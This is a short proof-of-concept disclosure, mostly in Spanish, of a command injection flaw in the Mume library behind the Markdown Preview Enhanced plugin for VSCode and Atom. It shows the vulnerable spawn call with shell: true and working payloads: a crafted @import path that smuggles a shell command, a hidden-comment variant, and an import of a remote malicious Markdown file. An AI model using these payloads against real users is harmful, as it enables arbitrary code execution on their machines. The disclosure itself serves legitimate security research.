
[PoC] Inyección de comandos a través de la importación de PDF en Markdown Preview Enhanced (VSCode, Atom)
Inyección de comandos a través de la importación de PDF en Markdown Preview Enhanced (VSCode, Atom)
La librería de herramientas Markdown Mume era vulnerable a inyección de comandos debido al uso del comando spawn con la opción {shell: true}. Esto podría permitir a un atacante lograr ejecución arbitraria de código engañando a la víctima para que abra un archivo Markdown especialmente diseñado usando VSCode o Atom. La librería alimenta el plugin Markdown Preview Enhanced tanto para VSCode como para Atom.
const task = spawn(
"pdf2svg",
[
`"${pdfFilePath}"`,
`"${path.resolve(svgDirectoryPath, svgFilePrefix + "%d.svg")}"`,
"all",
],
{ shell: true },
)
El siguiente documento Markdown permite a un atacante ejecutar un comando arbitrario:
@import "$(open -a Calculator > /dev/null | exit 0)hello.pdf"
The following comment will be recognised by MPE as valid "@import" command:
<!-- @import "$(open -a Calculator > /dev/null | exit 0)hello.pdf" -->
Alternativamente, el payload podría ejecutarse desde una fuente externa:
<!-- @import "https://raw.githubusercontent.com/yuriisanin/CVE-2022-45025/main/examples/malicious.md" -->
DEMO para VSCode y Atom en YouTube.
